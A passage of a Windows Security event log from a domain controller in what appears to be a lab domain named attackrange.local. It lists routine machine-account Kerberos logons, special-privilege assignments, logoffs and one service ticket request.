RecordNumber=253933
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C940

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253932
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C940
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		52793

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253931
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C940

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253930
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C8C7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253929
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C8C7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253927
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C7B6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253926
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C7B6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253925
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C698
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253924
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C698

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253923
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C4BB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253922
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C4BB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253921
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C082

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253920
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C258

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253918
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C27B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253917
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C27B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253916
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C258
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49153

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253915
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C258

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253913
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C0E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9E964E8-74A4-F919-6727-18269A008687}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253912
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C0E5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253911
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3A006024-7B09-2B58-9332-5E8AF1B97F20}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253909
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6C082
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49723

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253908
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6C082

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253907
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6BB26

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253906
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6BF1E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253904
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x6BF1E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49722

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253903
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x6BF1E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253900
Keywords=Audit Success
